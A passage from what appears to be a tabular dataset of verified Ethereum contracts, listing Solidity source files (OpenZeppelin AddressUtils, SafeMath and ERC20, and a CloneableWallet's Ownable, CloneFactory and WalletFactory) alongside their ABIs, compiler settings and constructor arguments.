} | [{"constant":false,"inputs":[{"name":"newImplementation","type":"address"}],"name":"upgradeTo","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"newImplementation","type":"address"},{"name":"data","type":"bytes"}],"name":"upgradeToAndCall","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[],"name":"implementation","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"newAdmin","type":"address"}],"name":"changeAdmin","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"admin","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[{"name":"_implementation","type":"address"},{"name":"_admin","type":"address"},{"name":"_data","type":"bytes"}],"payable":true,"stateMutability":"payable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"anonymous":false,"inputs":[{"indexed":false,"name":"previousAdmin","type":"address"},{"indexed":false,"name":"newAdmin","type":"address"}],"name":"AdminChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"implementation","type":"address"}],"name":"Upgraded","type":"event"}] | v0.4.24+commit.e67f0147 | false | 200 | 000000000000000000000000f066adfa4ceae6901b02b6517c0b4a0f3750d00b000000000000000000000000d7189263114c458e0a2b6633a4c5a20fc4e194b700000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000044cd6dc687000000000000000000000000f37ba1497f1b8db87ac1a9ec8750ccf458511726000000000000000000000000000000000000000000000000000000005c7e024f00000000000000000000000000000000000000000000000000000000 | Default | false | bzzr://cd210df9b8745215dfa169d5faecdb6abd979ca538a976d77c4b73ec1144a4b0 |
|||
AdminUpgradeabilityProxy | openzeppelin-solidity/contracts/AddressUtils.sol | 0xe0211c8224e4ea5ffb1e3a1610e5a22f13075048 | Solidity | pragma solidity ^0.4.23;
/**
* Utility library of inline functions on addresses
*/
library AddressUtils {
/**
* Returns whether the target address is a contract
* @dev This function will return false if invoked during the constructor of a contract,
* as the code is not actually created until after the constructor finishes.
* @param addr address to check
* @return whether the target address is a contract
*/
function isContract(address addr) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solium-disable-next-line security/no-inline-assembly
assembly { size := extcodesize(addr) }
return size > 0;
}
} | [{"constant":false,"inputs":[{"name":"newImplementation","type":"address"}],"name":"upgradeTo","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"newImplementation","type":"address"},{"name":"data","type":"bytes"}],"name":"upgradeToAndCall","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[],"name":"implementation","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"newAdmin","type":"address"}],"name":"changeAdmin","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"admin","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[{"name":"_implementation","type":"address"},{"name":"_admin","type":"address"},{"name":"_data","type":"bytes"}],"payable":true,"stateMutability":"payable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"anonymous":false,"inputs":[{"indexed":false,"name":"previousAdmin","type":"address"},{"indexed":false,"name":"newAdmin","type":"address"}],"name":"AdminChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"implementation","type":"address"}],"name":"Upgraded","type":"event"}] | v0.4.24+commit.e67f0147 | false | 200 | 000000000000000000000000f066adfa4ceae6901b02b6517c0b4a0f3750d00b000000000000000000000000d7189263114c458e0a2b6633a4c5a20fc4e194b700000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000044cd6dc687000000000000000000000000f37ba1497f1b8db87ac1a9ec8750ccf458511726000000000000000000000000000000000000000000000000000000005c7e024f00000000000000000000000000000000000000000000000000000000 | Default | false | bzzr://cd210df9b8745215dfa169d5faecdb6abd979ca538a976d77c4b73ec1144a4b0 |
|||
CloneableWallet | contracts/Ownership/Ownable.sol | 0xb168ba4f0ff130d3f87f78b6b1c63e1dba4ddf0b | Solidity | pragma solidity ^0.5.10;
/// @title Ownable is for contracts that can be owned.
/// @dev The Ownable contract keeps track of an owner address,
/// and provides basic authorization functions.
contract Ownable {
/// @dev the owner of the contract
address public owner;
/// @dev Fired when the owner to renounce ownership, leaving no one
/// as the owner.
/// @param previousOwner The previous `owner` of this contract
event OwnershipRenounced(address indexed previousOwner);
/// @dev Fired when the owner to changes ownership
/// @param previousOwner The previous `owner`
/// @param newOwner The new `owner`
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/// @dev sets the `owner` to `msg.sender`
constructor() public {
owner = msg.sender;
}
/// @dev Throws if the `msg.sender` is not the current `owner`
modifier onlyOwner() {
require(msg.sender == owner, "must be owner");
_;
}
/// @dev Allows the current `owner` to renounce ownership
function renounceOwnership() external onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/// @dev Allows the current `owner` to transfer ownership
/// @param _newOwner The new `owner`
function transferOwnership(address _newOwner) external onlyOwner {
_transferOwnership(_newOwner);
}
/// @dev Internal version of `transferOwnership`
/// @param _newOwner The new `owner`
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0), "cannot renounce ownership");
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
} | 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e":"address"},{"internalType":"uint256","name":"_value","type":"uint256"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"tokenFallback","outputs":[],"payable":false,"stateMutability":"pure","type":"function"}] | v0.5.17+commit.d19bba13 | true | 200 | Default | None | false | bzzr://702142bd45da53f41c420f450117bf1100ae7ebe20afd2598d47e28cadb96d67 |
|||
CloneableWallet | contracts/Ownership/HasNoEther.sol | 0xb168ba4f0ff130d3f87f78b6b1c63e1dba4ddf0b | Solidity | pragma solidity ^0.5.10;
/// @title HasNoEther is for contracts that should not own Ether
contract HasNoEther is Ownable {
/// @dev This contructor rejects incoming Ether
constructor() public payable {
require(msg.value == 0, "must not send Ether");
}
/// @dev Disallows direct send by default function not being `payable`
function() external {}
/// @dev Transfers all Ether held by this contract to the owner.
function reclaimEther() external onlyOwner {
msg.sender.transfer(address(this).balance);
}
} | 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| v0.5.17+commit.d19bba13 | true | 200 | Default | None | false | bzzr://702142bd45da53f41c420f450117bf1100ae7ebe20afd2598d47e28cadb96d67 |
|||
CloneableWallet | contracts/WalletFactory/CloneFactory.sol | 0xb168ba4f0ff130d3f87f78b6b1c63e1dba4ddf0b | Solidity | pragma solidity ^0.5.10;
/// @title CloneFactory - a contract that creates clones
/// @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-1167.md
/// @dev See https://github.com/optionality/clone-factory/blob/master/contracts/CloneFactory.sol
contract CloneFactory {
event CloneCreated(address indexed target, address clone);
function createClone(address target) internal returns (address payable result) {
bytes20 targetBytes = bytes20(target);
assembly {
let clone := mload(0x40)
mstore(clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
mstore(add(clone, 0x14), targetBytes)
mstore(add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000)
result := create(0, clone, 0x37)
}
}
function createClone2(address target, bytes32 salt) internal returns (address payable result) {
bytes20 targetBytes = bytes20(target);
assembly {
let clone := mload(0x40)
mstore(clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
mstore(add(clone, 0x14), targetBytes)
mstore(add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000)
result := create2(0, clone, 0x37, salt)
}
}
} | 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:"v","type":"uint8"},{"internalType":"bytes32","name":"r","type":"bytes32"},{"internalType":"bytes32","name":"s","type":"bytes32"},{"internalType":"uint256","name":"nonce","type":"uint256"},{"internalType":"address","name":"authorizedAddress","type":"address"},{"internalType":"bytes","name":"data","type":"bytes"}],"name":"invoke1CosignerSends","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"uint8","name":"v","type":"uint8"},{"internalType":"bytes32","name":"r","type":"bytes32"},{"internalType":"bytes32","name":"s","type":"bytes32"},{"internalType":"bytes","name":"data","type":"bytes"}],"name":"invoke1SignerSends","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"uint8[2]","name":"v","type":"uint8[2]"},{"internalType":"bytes32[2]","name":"r","type":"bytes32[2]"},{"internalType":"bytes32[2]","name":"s","type":"bytes32[2]"},{"internalType":"uint256","name":"nonce","type":"uint256"},{"internalType":"address","name":"authorizedAddress","type":"address"},{"internalType":"bytes","name":"data","type":"bytes"}],"name":"invoke2","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"bytes32","name":"hash","type":"bytes32"},{"internalType":"bytes","name":"_signature","type":"bytes"}],"name":"isValidSignature","outputs":[{"internalType":"bytes4","name":"","type":"bytes4"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"nonces","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"_operator","type":"address"},{"internalType":"address","name":"_from","type":"address"},{"internalType":"uint256[]","name":"_ids","type":"uint256[]"},{"internalType":"uint256[]","name":"_values","type":"uint256[]"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"onERC1155BatchReceived","outputs":[{"internalType":"bytes4","name":"","type":"bytes4"}],"payable":false,"stateMutability":"pure","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"_operator","type":"address"},{"internalType":"address","name":"_from","type":"address"},{"internalType":"uint256","name":"_id","type":"uint256"},{"internalType":"uint256","name":"_value","type":"uint256"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"onERC1155Received","outputs":[{"internalType":"bytes4","name":"","type":"bytes4"}],"payable":false,"stateMutability":"pure","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_operator","type":"address"},{"internalType":"address","name":"_from","type":"address"},{"internalType":"uint256","name":"_tokenId","type":"uint256"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"onERC721Received","outputs":[{"internalType":"bytes4","name":"","type":"bytes4"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"uint256","name":"_tokenId","type":"uint256"},{"internalType":"bytes","name":"data","type":"bytes"}],"name":"onERC721Received","outputs":[{"internalType":"bytes4","name":"","type":"bytes4"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"uint256","name":"_version","type":"uint256"},{"internalType":"address[]","name":"_keys","type":"address[]"}],"name":"recoverGas","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"recoveryAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_authorizedAddress","type":"address"},{"internalType":"uint256","name":"_cosigner","type":"uint256"}],"name":"setAuthorized","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"bytes4","name":"_interfaceId","type":"bytes4"},{"internalType":"address","name":"_delegate","type":"address"}],"name":"setDelegate","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_recoveryAddress","type":"address"}],"name":"setRecoveryAddress","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"bytes4","name":"interfaceID","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"tokenFallback","outputs":[],"payable":false,"stateMutability":"pure","type":"function"}] | v0.5.17+commit.d19bba13 | true | 200 | Default | None | false | bzzr://702142bd45da53f41c420f450117bf1100ae7ebe20afd2598d47e28cadb96d67 |
|||
CloneableWallet | contracts/WalletFactory/FullWalletByteCode.sol | 0xb168ba4f0ff130d3f87f78b6b1c63e1dba4ddf0b | Solidity | pragma solidity ^0.5.10;
/// @title FullWalletByteCode
/// @dev A contract containing the FullWallet bytecode, for use in deployment.
contract FullWalletByteCode {
/// @notice This is the raw bytecode of the full wallet. It is encoded here as a raw byte
/// array to support deployment with CREATE2, as Solidity's 'new' constructor system does
/// not support CREATE2 yet.
///
/// NOTE: Be sure to update this whenever the wallet bytecode changes!
/// Simply run `npm run build` and then copy the `"bytecode"`
/// portion from the `build/contracts/FullWallet.json` file to here,
/// then append 64x3 0's.
bytes constant fullWalletBytecode = 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| v0.5.17+commit.d19bba13 | true | 200 | Default | None | false | bzzr://702142bd45da53f41c420f450117bf1100ae7ebe20afd2598d47e28cadb96d67 |
|||
CloneableWallet | contracts/WalletFactory/WalletFactory.sol | 0xb168ba4f0ff130d3f87f78b6b1c63e1dba4ddf0b | Solidity | pragma solidity ^0.5.10;
/// @title WalletFactory
/// @dev A contract for creating wallets.
contract WalletFactory is FullWalletByteCode, HasNoEther, CloneFactory {
/// @dev Pointer to a pre-deployed instance of the Wallet contract. This
/// deployment contains all the Wallet code.
address public cloneWalletAddress;
/// @notice Emitted whenever a wallet is created
/// @param wallet The address of the wallet created
/// @param authorizedAddress The initial authorized address of the wallet
/// @param full `true` if the deployed wallet was a full, self
/// contained wallet; `false` if the wallet is a clone wallet
event WalletCreated(address wallet, address authorizedAddress, bool full);
constructor(address _cloneWalletAddress) public {
cloneWalletAddress = _cloneWalletAddress;
}
/// @notice Used to deploy a wallet clone
/// @dev Reasonably cheap to run (~100K gas)
/// @param _recoveryAddress the initial recovery address for the wallet
/// @param _authorizedAddress an initial authorized address for the wallet
/// @param _cosigner the cosigning address for the initial `_authorizedAddress`
function deployCloneWallet(
address _recoveryAddress,
address _authorizedAddress,
uint256 _cosigner
)
public
{
// create the clone
address payable clone = createClone(cloneWalletAddress);
// init the clone
CloneableWallet(clone).init(_authorizedAddress, _cosigner, _recoveryAddress);
// emit event
emit WalletCreated(clone, _authorizedAddress, false);
}
/// @notice Used to deploy a wallet clone
/// @dev Reasonably cheap to run (~100K gas)
/// @dev The clone does not require `onlyOwner` as we avoid front-running
/// attacks by hashing the salt combined with the call arguments and using
/// that as the salt we provide to `create2`. Given this constraint, a
/// front-runner would need to use the same `_recoveryAddress`, `_authorizedAddress`,
/// and `_cosigner` parameters as the original deployer, so the original deployer
/// would have control of the wallet even if the transaction was front-run.
/// @param _recoveryAddress the initial recovery address for the wallet
/// @param _authorizedAddress an initial authorized address for the wallet
/// @param _cosigner the cosigning address for the initial `_authorizedAddress`
/// @param _salt the salt for the `create2` instruction
function deployCloneWallet2(
address _recoveryAddress,
address _authorizedAddress,
uint256 _cosigner,
bytes32 _salt
)
public
{
// calculate our own salt based off of args
bytes32 salt = keccak256(abi.encodePacked(_salt, _authorizedAddress, _cosigner, _recoveryAddress));
// create the clone counterfactually
address payable clone = createClone2(cloneWalletAddress, salt);
// ensure we get an address
require(clone != address(0), "wallet must have address");
// check size
uint256 size;
// note this takes an additional 700 gas
assembly {
size := extcodesize(clone)
}
require(size > 0, "wallet must have code");
// init the clone
CloneableWallet(clone).init(_authorizedAddress, _cosigner, _recoveryAddress);
// emit event
emit WalletCreated(clone, _authorizedAddress, false);
}
function deployCloneWallet2WithMultiAuthorizedAddress(
address _recoveryAddress,
bytes memory _authorizedAddresses,
uint256 _cosigner,
bytes32 _salt
)
public
{
require(_authorizedAddresses.length / 20 > 0 && _authorizedAddresses.length % 20 == 0, "invalid address byte array");
address[] memory addresses = bytesToAddresses(_authorizedAddresses);
// calculate our own salt based off of args
bytes32 salt = keccak256(abi.encodePacked(_salt, addresses[0], _cosigner, _recoveryAddress));
// create the clone counterfactually
address payable clone = createClone2(cloneWalletAddress, salt);
// ensure we get an address
require(clone != address(0), "wallet must have address");
// check size
uint256 size;
// note this takes an additional 700 gas
assembly {
size := extcodesize(clone)
}
require(size > 0, "wallet must have code");
// init the clone
CloneableWallet(clone).init2(_authorizedAddresses, _cosigner, _recoveryAddress);
// emit event
emit WalletCreated(clone, addresses[0], false);
}
function bytesToAddresses(bytes memory bys) private pure returns (address[] memory addresses) {
addresses = new address[](bys.length/20);
for (uint i=0; i < bys.length; i+=20) {
address addr;
uint end = i+20;
assembly {
addr := mload(add(bys,end))
}
addresses[i/20] = addr;
}
}
/// @notice Used to deploy a full wallet
/// @dev This is potentially very gas intensive!
/// @param _recoveryAddress The initial recovery address for the wallet
/// @param _authorizedAddress An initial authorized address for the wallet
/// @param _cosigner The cosigning address for the initial `_authorizedAddress`
function deployFullWallet(
address _recoveryAddress,
address _authorizedAddress,
uint256 _cosigner
)
public
{
// Copy the bytecode of the full wallet to memory.
bytes memory fullWallet = fullWalletBytecode;
address full;
assembly {
// get start of wallet buffer
let startPtr := add(fullWallet, 0x20)
// get start of arguments
let endPtr := sub(add(startPtr, mload(fullWallet)), 0x60)
// copy constructor parameters to memory
mstore(endPtr, _authorizedAddress)
mstore(add(endPtr, 0x20), _cosigner)
mstore(add(endPtr, 0x40), _recoveryAddress)
// create the contract
full := create(0, startPtr, mload(fullWallet))
}
// check address
require(full != address(0), "wallet must have address");
// check size
uint256 size;
// note this takes an additional 700 gas,
// which is a relatively small amount in this case
assembly {
size := extcodesize(full)
}
require(size > 0, "wallet must have code");
emit WalletCreated(full, _authorizedAddress, true);
}
/// @notice Used to deploy a full wallet counterfactually
/// @dev This is potentially very gas intensive!
/// @dev As the arguments are appended to the end of the bytecode and
/// then included in the `create2` call, we are safe from front running
/// attacks and do not need to restrict the caller of this function.
/// @param _recoveryAddress The initial recovery address for the wallet
/// @param _authorizedAddress An initial authorized address for the wallet
/// @param _cosigner The cosigning address for the initial `_authorizedAddress`
/// @param _salt The salt for the `create2` instruction
function deployFullWallet2(
address _recoveryAddress,
address _authorizedAddress,
uint256 _cosigner,
bytes32 _salt
)
public
{
// Note: Be sure to update this whenever the wallet bytecode changes!
// Simply run `yarn run build` and then copy the `"bytecode"`
// portion from the `build/contracts/FullWallet.json` file to here,
// then append 64x3 0's.
//
// Note: By not passing in the code as an argument, we save 600,000 gas.
// An alternative would be to use `extcodecopy`, but again we save
// gas by not having to call `extcodecopy`.
bytes memory fullWallet = fullWalletBytecode;
address full;
assembly {
// get start of wallet buffer
let startPtr := add(fullWallet, 0x20)
// get start of arguments
let endPtr := sub(add(startPtr, mload(fullWallet)), 0x60)
// copy constructor parameters to memory
mstore(endPtr, _authorizedAddress)
mstore(add(endPtr, 0x20), _cosigner)
mstore(add(endPtr, 0x40), _recoveryAddress)
// create the contract using create2
full := create2(0, startPtr, mload(fullWallet), _salt)
}
// check address
require(full != address(0), "wallet must have address");
// check size
uint256 size;
// note this takes an additional 700 gas,
// which is a relatively small amount in this case
assembly {
size := extcodesize(full)
}
require(size > 0, "wallet must have code");
emit WalletCreated(full, _authorizedAddress, true);
}
} | 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:"v","type":"uint8"},{"internalType":"bytes32","name":"r","type":"bytes32"},{"internalType":"bytes32","name":"s","type":"bytes32"},{"internalType":"uint256","name":"nonce","type":"uint256"},{"internalType":"address","name":"authorizedAddress","type":"address"},{"internalType":"bytes","name":"data","type":"bytes"}],"name":"invoke1CosignerSends","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"uint8","name":"v","type":"uint8"},{"internalType":"bytes32","name":"r","type":"bytes32"},{"internalType":"bytes32","name":"s","type":"bytes32"},{"internalType":"bytes","name":"data","type":"bytes"}],"name":"invoke1SignerSends","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"uint8[2]","name":"v","type":"uint8[2]"},{"internalType":"bytes32[2]","name":"r","type":"bytes32[2]"},{"internalType":"bytes32[2]","name":"s","type":"bytes32[2]"},{"internalType":"uint256","name":"nonce","type":"uint256"},{"internalType":"address","name":"authorizedAddress","type":"address"},{"internalType":"bytes","name":"data","type":"bytes"}],"name":"invoke2","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"bytes32","name":"hash","type":"bytes32"},{"internalType":"bytes","name":"_signature","type":"bytes"}],"name":"isValidSignature","outputs":[{"internalType":"bytes4","name":"","type":"bytes4"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"nonces","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"_operator","type":"address"},{"internalType":"address","name":"_from","type":"address"},{"internalType":"uint256[]","name":"_ids","type":"uint256[]"},{"internalType":"uint256[]","name":"_values","type":"uint256[]"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"onERC1155BatchReceived","outputs":[{"internalType":"bytes4","name":"","type":"bytes4"}],"payable":false,"stateMutability":"pure","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"_operator","type":"address"},{"internalType":"address","name":"_from","type":"address"},{"internalType":"uint256","name":"_id","type":"uint256"},{"internalType":"uint256","name":"_value","type":"uint256"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"onERC1155Received","outputs":[{"internalType":"bytes4","name":"","type":"bytes4"}],"payable":false,"stateMutability":"pure","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_operator","type":"address"},{"internalType":"address","name":"_from","type":"address"},{"internalType":"uint256","name":"_tokenId","type":"uint256"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"onERC721Received","outputs":[{"internalType":"bytes4","name":"","type":"bytes4"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"uint256","name":"_tokenId","type":"uint256"},{"internalType":"bytes","name":"data","type":"bytes"}],"name":"onERC721Received","outputs":[{"internalType":"bytes4","name":"","type":"bytes4"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"uint256","name":"_version","type":"uint256"},{"internalType":"address[]","name":"_keys","type":"address[]"}],"name":"recoverGas","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"recoveryAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_authorizedAddress","type":"address"},{"internalType":"uint256","name":"_cosigner","type":"uint256"}],"name":"setAuthorized","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"bytes4","name":"_interfaceId","type":"bytes4"},{"internalType":"address","name":"_delegate","type":"address"}],"name":"setDelegate","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_recoveryAddress","type":"address"}],"name":"setRecoveryAddress","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"bytes4","name":"interfaceID","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"tokenFallback","outputs":[],"payable":false,"stateMutability":"pure","type":"function"}] | v0.5.17+commit.d19bba13 | true | 200 | Default | None | false | bzzr://702142bd45da53f41c420f450117bf1100ae7ebe20afd2598d47e28cadb96d67 |
|||
TokenMintERC20Token | node_modules/openzeppelin-solidity/contracts/math/SafeMath.sol | 0xf2ad92992fdae601988adf019cf6f3b93d13d910 | Solidity | /**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
} | [{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"spender","type":"address"},{"name":"value","type":"uint256"}],"name":"approve","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"from","type":"address"},{"name":"to","type":"address"},{"name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"spender","type":"address"},{"name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"spender","type":"address"},{"name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"to","type":"address"},{"name":"value","type":"uint256"}],"name":"transfer","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"owner","type":"address"},{"name":"spender","type":"address"}],"name":"allowance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[{"name":"name","type":"string"},{"name":"symbol","type":"string"},{"name":"decimals","type":"uint8"},{"name":"totalSupply","type":"uint256"},{"name":"feeReceiver","type":"address"},{"name":"tokenOwnerAddress","type":"address"}],"payable":true,"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Approval","type":"event"}] | v0.4.24+commit.e67f0147 | false | 200 | 00000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000120000000000000000000000000000000000000001d1533980a62b5ac0715800000000000000000000000000006603cb70464ca51481d4edbb3b927f66f53f4f42000000000000000000000000de5fc0f5bd04bebeb3495bd28b9ca7951441fecf000000000000000000000000000000000000000000000000000000000000000e4275696c64205468652057616c6c000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000457414c4c00000000000000000000000000000000000000000000000000000000 | Default | false | bzzr://68bac03c03fccee8a37eb7c8d485f3e7293f5b94960acc491e245a5df51ce1ef |
|||
TokenMintERC20Token | node_modules/openzeppelin-solidity/contracts/token/ERC20/ERC20.sol | 0xf2ad92992fdae601988adf019cf6f3b93d13d910 | Solidity | /**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
* Originally based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
